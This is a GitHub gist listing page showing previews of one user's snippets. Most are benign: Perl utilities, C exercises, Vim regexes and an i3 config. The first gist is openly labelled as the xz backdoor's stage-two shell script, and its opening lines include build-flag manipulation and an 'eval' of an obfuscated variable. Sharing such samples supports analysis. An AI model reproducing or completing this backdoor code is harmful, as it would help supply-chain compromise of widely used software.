Skip to content

Instantly share code, notes, and snippets.

View sheeit's full-sized avatar
💭
I may be slow to respond.

wmb sheeit

💭
I may be slow to respond.
View GitHub Profile
@sheeit
sheeit / stage2.sh
Last active April 2, 2024 12:04
xz backdoor shell script
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
[ ! $(uname)="Linux" ] && exit 0
eval $zrKcVq
if test -f config.status; then
@sheeit
sheeit / euler.c
Last active August 29, 2022 21:22 — forked from anonymous/euler1.c
Euler Project (in C)
/*
Copyright 2016 strupo
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
@sheeit
sheeit / fitgirl-md5.pl
Last active October 7, 2021 02:21
fitgirl-md5.pl
#!/usr/bin/env perl
use 5.028;
use strict;
use warnings ( FATAL => 'all' );
use autodie;
use utf8;
use Carp;
use Readonly;
use English '-no_match_vars';
@sheeit
sheeit / ipfs_download.pl
Created December 16, 2020 02:19
Download from IPFS
#!/usr/bin/env perl
use strict;
use warnings ( FATAL => 'all' );
use feature 'say';
use autodie;
use utf8;
use Carp;
use Readonly;
use English '-no_match_vars';
@sheeit
sheeit / iptables_forward
Created May 29, 2020 07:04
Perl script that helps with iptables port-forwarding.
#!/usr/bin/env perl
use 5.028;
use strict;
use warnings ( FATAL => 'all' );
# Automatically die after failed system calls
use autodie;
# Use UTF-8 encoding
@sheeit
sheeit / behead.c
Last active July 6, 2018 14:22
Behead: remove email headers, and print the body to stdout.
#include <errno.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void behead(FILE *f);
void *end_of_line(char *line, size_t size, FILE *f);
void append(char *tmp, size_t size, const char *line, size_t len);
@sheeit
sheeit / python2lua_regex.txt
Last active March 30, 2018 23:45
Some regexes to convert some stuff from Python to Lua
The substitute following commands are made for Vim.
Convert function declarations (prototypes):
:%s/^def\(\s\)\(\s*[_A-Za-z][_A-Za-z0-9]*\s*([^)]*)\s*\)\s*:\s*$/function\1\2/g
Convert "for i in range(a, b):" to "for i = a, b":
:%s/\(for\s\+[_A-Za-z][_A-Za-z0-9]*\s\)\s*in\s*range\s*(\s*\([^)]\+\)\s*)\s*:\(.*\)$/\1= \2\3/g
Convert "True" and "False" to "true" and "false":
:%s/true|false/\L&\E/gi
@sheeit
sheeit / config
Created February 25, 2018 22:32
~/.config/i3/config
# This file has been auto-generated by i3-config-wizard(1).
# It will not be overwritten, so edit it as you like.
#
# Should you change your keyboard layout some time, delete
# this file and re-run i3-config-wizard(1).
#
# i3 config file (v4)
#
# Please see http://i3wm.org/docs/userguide.html for a complete reference!
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
char rot13_letter(char letter);
int main(int argc, char **argv)
{
int i;
char *c;
@sheeit
sheeit / ex19a.c
Created February 14, 2016 02:25
Compter les mots.
/*
* Ce programme compte le nombre des mots dans une phrase.
*/
#include <string.h>
#include <stdio.h>
#define MAX_TABLEAU 100001
/* Function prototypes */